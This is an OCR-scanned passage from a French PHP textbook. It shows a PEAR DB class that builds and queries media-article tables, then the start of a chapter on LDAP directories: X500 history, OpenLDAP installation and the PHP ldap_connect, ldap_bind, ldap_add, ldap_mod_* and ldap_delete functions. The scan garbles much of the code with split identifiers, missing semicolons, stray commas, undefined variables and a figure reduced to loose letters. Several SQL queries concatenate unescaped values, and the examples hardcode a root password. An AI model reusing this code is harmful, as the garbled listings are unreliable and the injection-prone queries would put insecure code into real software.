$typeServeurPear = $pear_typeServeur; 
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} 
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$dsn = "$typeServeurPear://"; 

if (! empty ($pear_util isateur)) $dsn .= $pear_utilisateur; 

if (! empty ($pear_motDePasse)) $dsn .= " :$pear_motDePasse" 

$dsn .= "@tcp($pear_serveur) "; 

if (! empty ($pear_base)) $dsn .= "/$pear_base"; 

$bd = DB::connect($dsn, TRUE); 
if (DB::isError($bd)) { 

echo $dsn." ".$bd->message; 

return FALSE; 
} 

$this->bd = $bd; 
return TRUE; 



public function deconnexion() 

{ 

// Rien a faire, il s'agit d'une connexion persistante 

} 

public function reset() 

{ 

$requete = "DROP TABLE types"; 

$resultat = $this->bd->query($requete) ; 

// Pas de raison de retourner un erreur 

// si la suppression echoue (si la table n'existe pas) 

$requete = "CREATE TABLE types (". 

"id INTEGER PRIMARY KEY,", 
"type VARCHAR(255))"; 
$resultat = $this->bd->query($requete) ; 
if (DB: :isError($resultat)) { 

echo $resultat->message; 
return FALSE; 
} 

$t hi s->bd->dropSequence(" types") ; 

$resultat = $this->bd->createSequence("types") ; 
if (DB: :isError($resultat)) { 

echo $resultat->message; 

return FALSE; 
} 



$types = array("Album", "Film", "Livre", "Musique"); 
foreach ($types as $type) { 

$requete = "INSERT INTO types (id, type) VALUES (". 
$this->bd->next Id ("types") . ", '$type')"; 
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$resultat = $this->bd->query($requete) ; 
if (DB::isError($resultat)) { 

echo $resultat->message; 

return FALSE; 



} 



$requete = "DROP TABLE articles"; 

$resultat = $this->bd->query($requete) ; 

// Pas de raison de retourner un erreur 

// si la suppression echoue (si la table n'existe pas) 

$requete = "CREATE TABLE articles (". 

"id INTEGER PRIMARY KEY,". 

"albumld INTEGER,". 

"titre VARCHAR(255),". 

"typeld INTEGER,". 

"commentaire VARCHAR(255)) "; 
$resultat = $this->bd->query($requete) ; 
if (DB::isError($resultat)) { 

echo $resultat->message; 
return FALSE; 
} 

$t hi s->bd->dropSequence(" articles") ; 

$resultat = $this->bd->createSequence("articles") ; 
if (DB::isError($resultat)) { 

echo $resultat->message; 

return FALSE; 
} 
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} 



public function addArticle($albumId, 

$titre, 
$typeld, 
$commentaire) 

{ 

$requeteDebut = "INSERT INTO articles (id, albumld, titre, typeld"; 
$requeteFin = ") VALUES (" .$this->bd->nextld("articles") . ", " . 

"$albumld,". 

.$this->bd->escapeSimple($titre) ."',". 

"$typeld"; 
if ($commentaire != "") { 

$requeteDebut .= ".commentaire"; 

$requeteFin .= ", ' " .$this->bd->escapeSimple($commentai re) ; 

} 

$requete = $requeteDebut . $requeteFin . ")"; 

$resultat = $this->bd->query($requete) ; 

if (DB::isError($resultat)) { 

echo $resultat->message; 
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return FALSE; 
} 
} 

public function getArticle($articleId) 

{ 

$requete = "SELECT * FROM articles WHERE id=$articleld" ; 
$resultat = $this->bd->query($requete) ; 
if (DB::isError($resultat)) { 

echo $resultat->message; 

return FALSE; 
} 

$enreg = $this->bd->getRow($idResultat) ; 
if (DB: :isError($enreg)) return NULL; 
$article = $this->enreg2Article($enreg); 
return $article; 
} 

public function getArticles(Filtre $filtre, Plage $plage, Tri $tri) 

{ 

$requete = "SELECT * FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumld=" .$filtre->getAlbumId() ; 

} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE '". 
$this->bd->escapeSimple($filtre->getTitre()) ." " 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId(); 
} 

if ($tri->getSens() == -1) { 

$triSQL = "ORDER BY " .$tri->getChamp() . " DESC"; 
} else if ($tri->getSens() == 1) { 

$triSQL = "ORDER BY " .$tri->getChamp() . " ASC"; 
} 

$requete = $requete." WHERE " .$condi tionSQL. " ". 

$triSQL; 
$resultat = $this->bd->limitQuery($requete, 

$plage->getPremierArticle() , 
$plage->getNbArticleMax()) ; 
if (DB::isError($resultat)) { 

echo $resultat->message; 
return FALSE; 
} 

$articles = NULL; 
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while ($enreg = $resultat->fetchRow(DB_FETCHMODE_ASSOC)) 

$articles[] = $this->enreg2Article($enreg) ; 
} 
return $articles; 



public function getNbTotalArticles(Fil tre $filtre) 

{ 

$requete = "SELECT COUNT (*) FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 
} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE '" . 
$this->bd->escapeSimple($filtre->getTitre()) . ' 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId(); 
} 

$requete = $requete." WHERE ".$conditionSQL; 
$resultat = $this->bd->getOne($requete) ; 
if (DB::isError($resultat)) { 

echo $resultat->message; 

return FALSE; 

} 

return $resultat; 

} 

public function getTypes() 

{ 

$requete = "SELECT * FROM types"; 
$resultat = $this->bd->query($requete) ; 
if (DB::isError($resultat)) { 

echo $resultat->message; 

return FALSE; 
} 

$types = NULL; 

while ($enreg = $resultat->fetchRow(DB_FETCHMODE_ASSOC)) { 

$types[$enreg["id"]] = $enreg["type"] ; 
} 
return $types; 



public function getAlbumTypeId() 
{ 

return 1; 
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Chapitre 10 L'utilisation des bases de donnees 



private function enreg2Article($enreg) 

{ 

$article = new Article(); 

$article->setld($enreg["id"]); 

$article->setAlbumId($enreg["albumId"]) ; 

$arti cl e->setTi tre ($enreg [" t i tre"] ) ; 

$article->setTypeId($enreg["typeId"] ) ; 

$arti cl e->setCommentai re ($enreg ["commentai re"] ) ; 

return $article; 



} 

En revanche, l'utilisation des methodes pear permettant la manipulation des sequences, si elle 
n'est pas optimale, permet toutefois de s'affranchir des differences entre les serveurs de bases 
de donnees concernant les champs auto-incrementes. 

En savoir plus... 

II est possible de recuperer un certain nombre d'informations sur le serveur de bases de 
donnees (ses bases, ses tables, etc.) grace a la methode getListof ( ) . 



DB->getListOf() 



Retourne la liste des bases, tables, etc. 

Syntaxe array getListOf (string $cle) 

$cl e Mot-cle parmi : 

"databases" pour recuperer un tableau indexe des bases disponibles sur 
le serveur. 

"tables" pour recuperer un tableau indexe des tables disponibles dans la 
base a laquelle vous etes connecte. 

"users" pour recuperer la liste des utilisateurs. 

"vi ews " pour recuperer la liste des vues disponibles dans la base a laquelle 

vous etes connecte. 

"functions" pour recuperer la liste des fonctions. 

retour Le tableau indexe demande, ouDB_Erroren cas d'echec. 

II est egalement possible de tester les fonctionnalites offertes par le serveur de bases de 
donnees ou la fagon dont pear les gere. 



898 



Les couches d'abstraction 



DB->provides() 

Teste la gestion d'une fonctionnalite par pear ou le serveur de bases de donnees. 

Syntaxe string provides (string $fonctionnal ite) 

$fonctionnalite Fonctionnalite a tester (ex.: "prepare", "pconnect", 
"transactions", "limit", etc.) 

retour Selon les cas : 

TRUE si la fonctionnalite est supportee par le serveur de bases de donnees. 

"alter" si PEAR a besoin de modifier la requete de l'utilisateur pour 

l'utiliser. 

"emulate" si PEAR emule la fonctionnalite. 

FALSE si elle n'est pas supportee par le serveur. 

DB error en cas d'echec. 







01 


o 


CD 


i-; 


v> 


c=* 






a. 


^; 


CD 


Jfl" 


a. 


s. 


o 




3 


o' 


3 


3 


CD* 
CD 


a. 


V) 


CD 



899 



Chapitre 1 1 



Les annuaires 

LDAP 



11.1 Le schema LDAP 905 

11.2 Installation 905 

11.3 L'interrogation de LDAP avec PHP 908 

11.4 Exemple d' application 938 



Aux origines du standard LDAP, on retrouve des organisations internationales de 
normalisation. En effet, de grands groupes de telecommunications ainsi que 
l'lnternational Organization for Standardization (ISO), avaient la volonte de normaliser le 
protocole de messagerie. Apres la publication de leurs travaux (la norme X400), ils 
developperent la norme censee interconnecter les annuaires des differents pays. C'est ainsi que 
naquirent les normes X500. 



Protocole LDAP 

LDAP (Lightweight Directory Access Protocol) est un protocole permettant la 
standardisation de Vacces a des donnees provenant d'un annuaire, permettant ainsi 
a differentes applications d'acceder a line source commune. 



REMARQUE 



Avec cette norme, il etait enfin possible d'interroger, a partir de n'importe quelle application, 
tous les annuaires mondiaux ; ce qui pouvait done, a terme, permettre de creer un vaste 
repertoire mondial. 




Figure 11.1 : Principe d'un annuaire X500 

Une application cliente peut interroger l'annuaire a l'aide du protocole DAP (Directory Access 
Protocol). L'application passe alors par une couche d'abstraction : le DUA (Directory User 
Agent). Celui-ci interroge ensuite l'annuaire et retourne les informations au DUA, qui effectue 
alors le travail inverse en retournant les donnees au client. Ainsi, toutes les applications voulant 
profiter d'un annuaire central devaient simplement developper la couche d'abstraction a l'aide 
d'une API (voir fig. 11.2). 

L'un des interets du protocole X500 est egalement la possibility de placer differents serveurs 
d'annuaires en parallele, les annuaires dialoguant entre eux a l'aide du protocole DSP 
(Directory System Protocol). 

Les normes X500 ont egalement standardise le schema que peut avoir un annuaire. Les 
differentes donnees sont organisees suivant leur appartenance a des classes d'objets, qui 
elles-memes sont definies par differents attributs. Ces attributs peuvent posseder une ou 
plusieurs valeurs. Chaque classe definie par rapport a une classe parente herite de tous les 
attributs de la classe mere dont elle derive. Afin d'eviter certains problemes, la norme a 
egalement adopte la standardisation des annuaires decrivant les personnes, les organisations, etc. 
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Figure 1 1 .2 : Exemple d'application d'un annuaire au sein d'une entreprise 

La complexite de la mise en ceuvre d'un schema complet rend son utilisation complexe pour 
une petite structure de type PMI ou PME. De plus, le DAP permettant la connexion des clients 
se trouve etre tres complexe a utiliser, car il necessite l'equipement du poste client en materiel 
specifique. En effet, le protocole n'utilise pas TCP/IP, et, de ce fait, il est necessaire d'integrer 
sur les clients une carte reseau de type X25. L'arrivee en force d'Internet pousse done un 
nouveau groupe a se pencher sur la problematique. Ainsi, en se basant sur les normes X500 et 
le support du protocole TCP/IP, est publiee la version 2 de LDAP en 1994, puis la version 3 en 
1997. Vous pouvez retrouver les specifications (en anglais) de cette derniere version dans les 
RFC qui vont de 2251 a 2256 aux adresses allant de http://www.ietf.org/rfc/rfc2251.txt a http://www 
.ietf.org/rfc/rfc2256.txt. (des traductions en frangais sont disponibles au format PDF depuis des 
liens proposes sur http://abcdrfc.free.fr). 

Les avantages de cette norme sont : 

Support du modele de donnees X500 ; 

Ouverture sur l'internet par son support TCP/IP ; 

Securisation de l'acces aux donnees par personne ou groupe de personnes ; 

Les requetes sont normalisees permettant ainsi une recherche plus efficace ; 

LDAP permet l'interrogation de plusieurs annuaires de facpn transparente pour le client. 

II existe plusieurs annuaires. Des annuaires commerciaux (sites en anglais) : 

eDirectory de Novell (http://www.novell.com/products/edirectory/) ; 

Active Directory de Microsoft 
(http://www.rnicrosoft.com/windows2000/technologies/directory/AD/default.asp) ; 

SunOne Directory Server de Sun 
(http://wwws.sun.com/software/products/directory_srvr/home_directory.html) ; 

Oracle (http://www.oracle.com) ; 

IBM Directory Server (http://www-3.ibm.com/software/network/directory/). 

Ainsi que quelques (trop) rares annuaires libres (sites en anglais) : 
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OpenLDAP (http://www.openldap.org) ; 

Apple Open Directory (http://developer.apple.com/darwin/projects/opendirectory/). 

11.1. Le schema LD AP 



Le principe de LDAP est explique a partir de ce schema 





dc=universite r dc=fr 




ou=et 


d ia nts o u = personnel non-enseig na nt ou = Professeu rs 


cn=etudiant 1 


cn=etL 


diant 1 cn=etudiant 1 cn=prof1 cn=prof2 



Figure 1 1 .3 : Vision classique d'un annuaire LDAP 

Afin de nommer chaque classe, on utilise un ou plusieurs attributs les definissant. Ainsi, on 
commence par la classe racine qui possede un DN (Distinguished Name) egal a 
dc=universite, dc=fr. Suivent les classes representees par leur RDN (Relative 
Distinguished Name), le DN unique d'une entree etant l'ajout de son RDN au DN de la classe 
mere de l'objet separe par une virgule. Ainsi, l'entree representee par le RDN egal a 
ou=etudiants possede un DN equivalent a ou=etudiants, dc=universite, dc=fr. 

Ainsi, le DN de l'etudiant 1 est : cn=etudiant 1, ou=etudiants, dc=universite, dc=fr. 

Le DN du professeur 2 est: cn=prof 2, ou=Professeurs, dc=universite, dc=fr. 

Nous n'avons pas la pretention dans cet ouvrage de vous faire connaitre sur le bout des doigts 
le protocole LDAP et son utilisation. Internet regorge de liens qui devraient pouvoir vous etre 
utiles dans votre apprentissage des annuaires. Vous pouvez toujours commencer par visiter le 
site web du CRU (Comite Reseau des Universites), qui possede une page tres interessante avec 
de nombreux liens et de documents : http://www.cru.fr/ldap/. 
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11.2. Installation 

Nous nous contenterons ici de decrire une installation standard sans tenir compte des 
problemes d'optimisation et de securite. Le but est que vous puissiez installer PHP et LDAP sur 
des machines de test, pour vous familiariser avec cet environnement avant de passer a un 
serveur d'annuaire destine a la production. Pour des raisons de cout evidentes, nous avons opte 
pour un serveur OpenLDAP. 



Installation du serveur OpenLDAP 



L'installation du serveur LDAP est facilitee par sa mise a disposition sur certaines distributions 
Linux. Malgre tout, pour ceux qui desirent compiler le serveur pour leur plateforme (par 
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exemple pour ceux qui utilisent un environnement Windows avec Cygwin installe), nous allons 
rapidement decrire son installation standard. 

Installation 

Vous devez, avant toute chose, recuperer l'archive qui se trouve sur le site d'OpenLDAP a 
l'adresse http://www.openldap.org/soflware/download/ (nous mettons a votre disposition la ver- 
sion 2.1.3 sur le CD-ROM d'accompagnement de ce livre). 

Dans un premier temps, decompactez l'archive a l'aide de la commande suivante : 

$ tar zxvf openldap-2.1.3.tgz 
$ cd openldap-2.1.3 

Passez ensuite a la configuration, puis a la compilation. 

$ ./configure 
$ make depend 
$ make 

Passez en mode administrateur en tapant la commande su - et en entrant votre mot de passe 

root. 

# make install 



Configuration 



Ouvrez ensuite votre editeur fetiche, et editez le fichier /usr/local/etc/openldap/slapd.conf. 
Modifiez les parametres suffix, rootdn et rootpw de la facon suivante : 

# Indiquez ici la racine correspondent a votre domaine 
suffix "dc=ldap, dc=tild, dc=com" 

# Indiquez ici le DN de 1 'administrateur de l'annuaire 
rootdn "cn=root, dc=ldap, dc=tild, dc=com" 

# Indiquez ensuite le mot de passe de 1 'administrateur 
rootpw coucou 

Dans notre cas, le domaine specifie est ldap.tild.com (ces parametres doivent indiquer le 
nom de votre domaine). 

Verifiez que le repertoire specifie par le parametre directory existe bien. 

Lancez le serveur LDAP avec la commande : 

/usr/local/1 ibexec/slapd 

Vous pouvez verifier que le serveur est bien lance en executant la commande suivante : 

Idapsearch -xs base ' (objectclass=*) ' namingContexts 

La commande doit vous retourner un resultat similaire a celui-ci : 

# 
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# filter: (objectclass=*) 

# requesting: namingContexts 



# ldap,dc=tild,dc=com 

dn: dc=ldap,dc=tild,dc=coni 

# search result 
search: 2 
result: Success 

# numResponses: 2 

# numEntries: 1 

II faut ensuite creer le schema racine de l'annuaire. Pour cela, vous allez creer un fichier texte 
au format LDIF. Ouvrez votre editeur (toujours le meme, ou changez si vous voulez...) et 
entrez les lignes suivantes : 

dn: dc=ldap,dc=tild,dc=com 
objectclass: dcObject 
objectclass: organization 
o: Tild 
dc: tild 

dn: cn=root,dc=ldap,dc=tild,dc=com 
objectclass: organizational Role 
en: root 

Enregistrez-le sous monpremierschema.ldif par exemple, et appelez la commande suivante : 

ldapadd -x -D " cn=root,dc=ldap,dc=tild,dc=com" -W -f monpremierschema.ldif 

Voila, votre annuaire est pret a recevoir de nouvelles entrees. Maintenant, nous n'allons pas 
continuer a les ajouter avec le client ldapadd : preferons (e'est un peu le sujet de ce livre) 
utiliser le langage PHP. Mais avant toute chose, installons le module LDAP. 

Installation du module LDAP pour PHP 

Installation sous Windows 
Avec l'archive du PHP Group 

Vous devez, dans un premier temps, vous assurer de posseder un fichier php_ldap.dll (fourni 
avec l'archive du PHP Group) dans le repertoire contenant vos extensions PHP. II vous suffit 
ensuite de modifier le fichier php.ini pour ajouter ou decommenter une ligne. 

extension=php ldap.dll 
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Chapitre 1 1 Les annuaires LDAP 
Avec EasyPHP 

L'installation d'EasyPHP possede, par defaut, le module de connexion a LDAP. 

Installation sous Linux 

Pour installer le module LDAP, vous devez posseder les librairies installees sur votre machine. 
Si vous avez suivi l'installation du serveur LDAP de notre premiere partie, vous les possedez 
certainement. 

Ensuite, recompilez PHP avec l'option suivante : -with-ldap. 

Vous pouvez verifier la bonne installation du module en creant une page qui ne contient que le 
code suivant : 



<?php 



phpinfo() ; 



?> 



Lancez un navigateur et appelez la page. Vous devez apercevoir les lignes suivantes : 



Idap 



LDAP Support 


enabled 


RCS Version 


$ld:ldap.c,v 1.116.2.1 2002/04j23 18:59:57 derich Exp $ 


Total Links 


□Am limited 


API Version 


2004 


Vendor Name 


OpenLDAP 


Vendor Version 


20021 



Figure 11 .4 : La fonction phpinfo () vous renseigne sur les modules qui sont installes. 
Verifiez que la section LDAP existe. 

11.3. L'interrogation de LDAP avec PHP 

L'utilisation simple de PHP pour interroger un annuaire LDAP s'opere selon le schema 
suivant : 

Connexion a un serveur LDAP ; 
Identification sur serveur ; 

■ Operations sur la base LDAP ; 

■ Fermeture de la connexion avec le serveur LDAP. 



Connexion, authentification et deconnexion sur le serveur LDAP 

Connexion sur l'annuaire 

Pour vous connecter au serveur LDAP, vous devrez utiliser la fonction ldap_connect ( ) . 
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ldap_connect() 

Etablit une connexion entre le client (PHP) et 1'annuaire LDAP. 

Syntaxe resource ldap_connect( [string $annuaire [, int $port]]) 

$serveur Adresse de 1'annuaire LDAP. Par defaut, la connexion s'effectue sur le 

serveur local. 

$port Port sur lequel on doit se connecter. Par defaut, le port est le 389. 

retour Identifiant de la connexion a 1'annuaire. 



Gerer Verreur de connexion 

Lorsque le serveur n'existe pas ou que la connexion n'a pas ete effectuee, Vinstruction 
ldap_connect ( ) ne retourne pas d'erreur. Pour gerer les erreurs de liaison avec 
1'annuaire, vous devez, au prealable, executer la fonction ldap_bind( ). 



Authentification sur un annuaire 

L'instruction ldap_bind ( ) vous permettra de vous identifier aupres du serveur LDAP. 

ldap_bind() 

Effectue une liaison entre 1'annuaire et le client LDAP (PHP dans notre cas). 

Syntaxe boolean ldap_bind (resource $idLdap [, string $dnUtil isateur [, 

string $motDePasse]]) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$dnUti 1 i sateur DN (Distinguished Name) de l'utilisateur qui demande la connexion. Ce 
parametre est optionnel ; si vous ne le precisez pas, la connexion 
s'effectuera en mode anonyme. 

$motDePasse Mot de passe de l'utilisateur demandant la connexion. Ce parametre est 

optionnel. 

retour TRUE si la liaison avec 1'annuaire a ete effectuee, FALSE dans le cas 

contraire. 

Deconnexion de 1'annuaire 

La deconnexion de 1'annuaire s'effectue avec la fonction ldap_unbind ( ) ou son alias 

ldap_close ( ) . 
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Chapitre 1 1 Les annuaires LDAP 

ldap_close() 

Se deconnecte du serveur LDAP. 

Syntaxe boolean ldap_unbind (resource $i dLdap) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

retour TRUE si la connexion a bien ete fermee, FALSE dans le cas contraire. 



Jy Changer le DN de la connexion LDAP 

^^^ Ne confondez pas ldap_unbind ( ) avec une fonction qui pourrait permettre de 

ATTENTION changer Vutilisateur connecte a Vannuaire. Malgre son nom, ['instruction 

ldap_unbind ( ) ferme la connexion, et vous devrez alors executer une nouvelle fois 

la fonction ldap_connect ( ) . Pour changer d'utilisateur, appelez simplement de 

nouveau ldap_bind ( ) avec un nouveau DN. 



Operations sur un annuaire LDAP 

Vous pouvez effectuer quatre operations standard sur les entrees d'un serveur LDAP : 

Aj outer une entree ; 
Modifier une entree ; 
Supprimer une entree ; 
Renommer une entree. 

Aj outer une entree 

L'ajout d'une entree dans l'annuaire s'effectue avec l'instruction ldap_add ( ) . 



ldap_add() 

Ajoute une entree dans un annuaire. 

Syntaxe boolean ldap_add (resource $idLdap, string $dn, array 

$attributs) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$dn DN de l'entree a ajouter. 

$attri buts Tableau associatif contenant les differents attributs de l'objet a ajouter. 

retour TRUE si l'objet a bien ete ajoute, FALSE dans le cas contraire. 
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Pour ajouter une entree, vous devez creer un tableau associatif contenant tous les attributs a 
ajouter en cles ainsi que les valeurs de ces attributs. Si un attribut peut contenir plusieurs 
valeurs, celles-ci sont alors rentrees dans un nouveau tableau. 

<?php 

$attributs['attn'butr] = valeurl; 
$attributs['attribut2'] = valeur2; 
// Attribut contenant plusieurs valeurs 
$attributs['attribut3'] [0] = valeur3; 
$attributs['attribut3'] [1] = valeur4; 
?> 

Voici un exemple d'ajout dans l'annuaire avec un script PHP. 

Listing 11.1 : Idapadd.php 

<?php 

// Connexion a l'annuaire 

$idLdap = ldap_connect("localhost",389) ; 

$rootDn = 'cn=root,dc=ldap,dc=ti ld,dc=com' ; 
$rootPasse = 'coucou 1 ; 

if (!ldap_bind($idLdap, $rootDn, $rootPasse)) { 

die("La connexion n'a pas ete effectuee.") ; 
} 

// On construit le tableau avec les differents attributs 

$attributs[V] = 'Tild 1 ; 

$attributs['givenname'] = 'Laurent'; 

$attributs[' street'] = '5 rue Nominoe'; 

$attributs['sn'] = 'GUEDON' 

$attributs['l '] = 'RENNES' 

$attributs['objectclass'] = 'person' 

$attributs['mail '] [0] = 'tendencies@free.fr 1 ; 

$attributs['mail '] [1] = 'laurent@tild.com'; 

$attributs['cn'] = 'lolo'; 

// DN de 1 'entree a ajouter 

$dn = 'cn=lolo,dc=ldap,dc=tild,dc=com' ; 

if (@ldap_add($idLdap, $dn, $attributs)) 

{ 

echo "L' entree a ete ajoutee !"; 
}else{ 

echo "Probleme, 1 'entree n'a pas ete ajoutee !"; 
} 

// Disconnexion de l'annuaire 

ldap_close($idLdap) ; 

?> 
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Chapitre 1 1 Les annuaires LDAP 

Modifier une entree 

Modifier les attribute d'une entree 

Pour la modification des entrees, nous utiliserons la fonction ldap_mod_replace ( ) ou son 
alias ldap_modify ( ) . 

ldap_mod_replace () 

Modifie une entree de l'annuaire LDAP. Cette fonction peut affecter plusieurs attributs a la fois. 

Syntaxe boolean ldap_mod_replace(resource $idLdap, string $dn, array 

$attributs) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$dn DN de l'entree a modifier. 

$attri buts Tableau associatif contenant les differents attributs de l'objet qui doivent 

etre modifies. 

retour TRUE si l'entree a bien ete modifiee dans l'annuaire, FALSE dans le cas 

contraire. 

La creation du tableau Sentree est identique a celle de ldap_add ( ) . Vous devez specifier dans 
le tableau les differents attributs qui doivent etre modifies. 

Modification d'un attribut a valeur multiple 

Attention awe attributs contenant plusieurs valeurs. Si vous ne modifiez qu'une seule 
de ces valeurs, alors V attribut supprimera les autres en conservant la valeur modifiee. 
Prenons un exemple et imaginons l'entree multiple suivante : 

<?php 

$attri buts ['mail '] [0] = "webmaster@tild.com"; 

$attri buts ['mail '] [1] = "info@tild.com"; 

$attri buts ['mail '] [2] = "contact@tild.com"; 

?> 

Si vous pensez remplacer "contact@tild.com" par "laurent@tild.com", et done que 
vous modifiez l'entree de cette facon : 

<?php 

$attri buts ['mail '] [2] = "laurent@tild.com"; 

ldap_mod_repl ace ($i dLdap, "cn=lolo,dc=ldap,dc=tild,dc=com", $attributs) ; 

?> 

vous supprimez alors les autres valeurs de I'attribut multiple mail, et ne retrouvez que 
la valeur "laurent@tild.com" . Vous pouvez le verifier en rentrant la commande sur 
votre console : 
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$ ldapsearch -x -b l dc=ldap,dc=tild,dc=com l ' (objectclass=*) ' 

Ajouter des attributs a une entree 

L'instruction ldap_mod_add ( ) permet d'ajouter un attribut a une entree deja existante. 



ldap_mod_add() 

Ajoute un attribut a une entree de l'annuaire LDAP. 

Syntaxe boolean ldap_mod_add (resource $idLdap, string $dn, array 

$attributs) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$dn DN de l'entree devant contenir les attributs a ajouter. 

$attributs Tableau associatif contenant les differents attributs a ajouter ainsi que 

leurs valeurs. Si un attribut est deja existant, la fonction lui ajoute une 
nouvelle valeur. II est possible de specifier l'ajout d'un attribut a valeur 
multiple de la meme fagon que l'instruction ldap_add ( ) . 

retour TRUE si les attributs ont bien ete ajoutes, FALSE dans le cas contraire. 

<?php 

// Voici le tableau contenant les attributs a ajouter 

$attributs['description'] = 'Un des auteurs de la bible du PHP 1 ; 

// Si l'entree existe, alors "tendencies@free.fr" sera 

// ajoute comme une nouvelle valeur de 1 'attribut mail 

$attributs['mail '] = 'tendencies@free.fr'; 

ldap_mod_add($idLdap, $baseDn, $attributs); 

?> 
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Supprimer les attributs d'une entree 



II est aussi possible de supprimer l'attribut d'une entree existante. Pour cela, nous ferons appel 
a la fonction ldap_mod_del ( ) . 



ldap_mod_del() 

Supprime un attribut d'une entree de l'annuaire LDAP. 

Syntaxe boolean ldap_mod_del (resource $idLdap, string $dn, array 

$attributs) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 
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$dn DN de l'entree contenant les attributs a supprimer. 

$attributs Tableau associatif contenant les differents attributs a supprimer. Les 

valeurs de chaque attribut doivent etre indiquees. Cela permet de 
supprimer simplement une seule valeur lorsque l'attribut en possede 
plusieurs. Tous les attributs doivent exister ; dans le cas contraire, 
l'instruction retourne une erreur et n'en supprimera aucune. 

retour TRUE si la ou les attributs designes ont bien ete supprimes, FALSE dans le 

cas contraire. 

// Voici le tableau contenant les attributs a supprimer 
$entree['description'] = ' Un des auteurs de la bible PHP 1 ; 
$entree['mail '] = 'tendencies@free.fr 1 ; 

$dn = l cn=lolo,dc=kangouroo,dc=homelinux,dc=org l ; 

if (ldap_mod_del ($idLdap, $dn, $entree)) 

{ 

echo "Les attributs ont ete supprimes !"; 
}else{ 

echo "Probleme, les attributs n'ont pas ete supprimes !"; 
} 

Supprimer une entree de l'annuaire 

La suppression d'une entree est realisee par l'appel a la fonction ldap_deiete ( ) . 



ldap_delete() 

Supprime une entree d'un annuaire LDAP. 

Syntaxe boolean ldap_delete(resource $idLdap, string $dn) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$dn Le DN (Distinguished Name) de l'entree a supprimer. 

retour TRUE si l'operation de suppression a ete executee avec succes, FALSE dans 

le cas contraire. 

Vous ne pouvez pas supprimer une entree qui n'est pas vide. Pour effectuer cette operation, 
vous devez, dans un premier temps, supprimer toutes les entrees existantes dans l'entree pere. 
Nous effectuerons cette operation a l'aide d'une fonction recursive. 

Listing 11.2 : ldap_delete.inc.php 

<?php 

/** 

* Fonction de suppression des entrees recursives ou non 

* Gh'nput $dn string le DN de 1 'element a supprimer 
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* $recursive boolean Inch' que si la fonction 

* doit suppprimer recursivement 

* @return boolean reussite ou echec de 1 'operation 

7 

function supprimerEntree($idLdap, $dn, $recursive=FALSE) 
{ 

if ($recursive) { 

// On recupere les entrees fils 

$reponse = ldap_l ist($idLdap, $dn, "ObjectClass=*") ; 
$entree = ldap_get_entries($idl_dap, $reponse); 
for($i=0;$i<$entree['count'] ;$i++){ 

// On supprime les entrees trouvees en appellant 

// la fonction supprimerEntree 

if (!supprimerEntree($idLdap, $entree[$i] [ ' dn '] , TRUE)] 



} 



return FALSE; 
} 



// On supprime 1 'entree courante 
if (ldap_delete($idl_dap, $dn)) { 

return TRUE; 
} else { 

return FALSE; 



?> 

A present, venons-en a l'utilisation de cette fonction : 

Listing 11.3 : Idapdelete.php 

<?php 
include("ldap_delete.inc.php ") ; 

// Connexion a l'annuaire 

$idLdap = ldap_connect("localhost",389) ; 

$rootDn = ' cn=root,dc=ldap,dc=tild,dc=com' ; 
$rootPasse = 'coucou' ; 

if (!ldap_bind($idLdap, $rootDn, $rootPasse)) { 
die("La connexion n'a pas ete effectuee.") ; 

} 

// DN de 1 'entree a creer et ensuite a supprimer 

$baseDn = 'o=test,dc=ldap,dc=tild,dc=com' ; 

// Creation d'une entree "organisation" 
$groupe['objectclass'] [0] = 'organization'; 
$groupe['objectclass'] [1] = 'top'; 
$groupe['o'] = 'test '.$i; 

ldap_add($idLdap, $baseDn, $groupe) ; 
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// creation des membres dans le groupe 

for ($i=0;$i<10;$i++) 

{ 

$entree['objectclass'] [0] = 'top'; 

$entree['objectclass'] [1] = 'person'; 

$entree['cn'] = 'personne' .$1 ; 

echo 'On ajoute l\'util isateur personne' .$i . ' dans l\'annuaire<br />'; 

ldap_add($idLdap, 'cn=personne' .$i •"," -$baseDn, $entree) ; 
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// Recherche et affichage des entrees dans le groupe 

$reponse = ldap_list($idLdap, $baseDn, "ObjectClass=*") ; 

$resultat = ldap_get_entries($idLdap, $reponse); 

echo "II y a ".$resultat['count '] ." entrees dans le groupe<br />" 

for($i=0;$i<$resultat['count'] ;$i++) { 

echo "*".$resultat[$i]['dn , ]."<br />"; 
} 

echo "Suppression de 1 'entree recursivement<br />"; 
if (supprimerEntree($idl_dap, $baseDn, TRUE)) 

{ 

echo "L' entree a ete supprimee !<br />"; 
}else{ 

echo "Probleme, 1 'entree n'a pas ete supprimee !<br />"; 
} 



// On verifie le resultat de la suppression 

$reponse = ldap_list($idLdap, "dc=ldap,dc=tild,dc=com", 

"&((o=test)(ObjectClass=*))"); 
$resultat = ldap_get_entries($idLdap, $reponse); 
if ($resultat['count']==0) 
{ 

echo "II n'y a aucune entree dn=o=test<br />"; 

} 

// Deconnexion de l'annuaire 

ldap_close($idLdap) ; 

?> 



Et voici maintenant le resultat de l'execution de notre script 



On ajoute 
On ajoute 
On ajoute 
On ajoute 
On ajoute 
On ajoute 
On ajoute 
On ajoute 
On ajoute 
On ajoute 
II y a 10 



'util isateur 
'util isateur 
'util isateur 
'util isateur 
'util isateur 
'util isateur 
'util isateur 
'util isateur 
'util isateur 
'util isateur 
entrees dans 



